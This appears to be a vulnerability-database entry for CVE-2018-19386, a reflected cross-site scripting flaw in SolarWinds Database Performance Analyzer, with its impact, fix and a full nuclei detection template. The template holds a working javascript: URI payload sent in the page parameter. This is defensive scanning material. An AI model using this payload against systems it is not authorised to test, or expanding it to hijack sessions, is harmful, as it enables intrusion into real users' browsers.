HexBrain

Browse / CVEs / CVE-2018-19386

CVE-2018-19386· solarwinds / database performance analyzer· CWE-79

SolarWinds Database Performance Analyzer 11.1.457 - Cross-Site Scripting

mediumseverity
6.1CVSS score
9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

SolarWinds Database Performance Analyzer 11.1.457 contains a reflected cross-site scripting vulnerability in its idcStateError component, where the page parameter is reflected into the HREF of the 'Try Again' Button on the page, aka a /iwc/idcStateError.iwc?page= URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or defacement of the affected application.

Fix

Apply the latest patch or upgrade to a non-vulnerable version of SolarWinds Database Performance Analyzer.

How to confirm it

Send: GET {{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f
Positive when: contains "<a href=\"javascript:alert(document.domain)//" AND status 200

Run it with nuclei: nuclei -id CVE-2018-19386 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-19386

info:
  name: SolarWinds Database Performance Analyzer 11.1.457 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: SolarWinds Database Performance Analyzer 11.1.457 contains a reflected cross-site scripting vulnerability in its idcStateError component, where the page parameter is reflected into the HREF of the 'Try Again' Button on the page, aka a /iwc/idcStateError.iwc?page= URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking or defacement of the affected application.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SolarWinds Database Performance Analyzer.
  reference:
    - https://i.imgur.com/Y7t2AD6.png
    - https://medium.com/greenwolf-security/reflected-xss-in-solarwinds-database-performance-analyzer-988bd7a5cd5
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19386
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19386
    cwe-id: CWE-79
    epss-score: 0.09044
    epss-percentile: 0.95323
    cpe: cpe:2.3:a:solarwinds:database_performance_analyzer:11.1.457:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: solarwinds
    product: database_performance_analyzer
  tags: cve,cve2018,solarwinds,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<a href="javascript:alert(document.domain)//'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from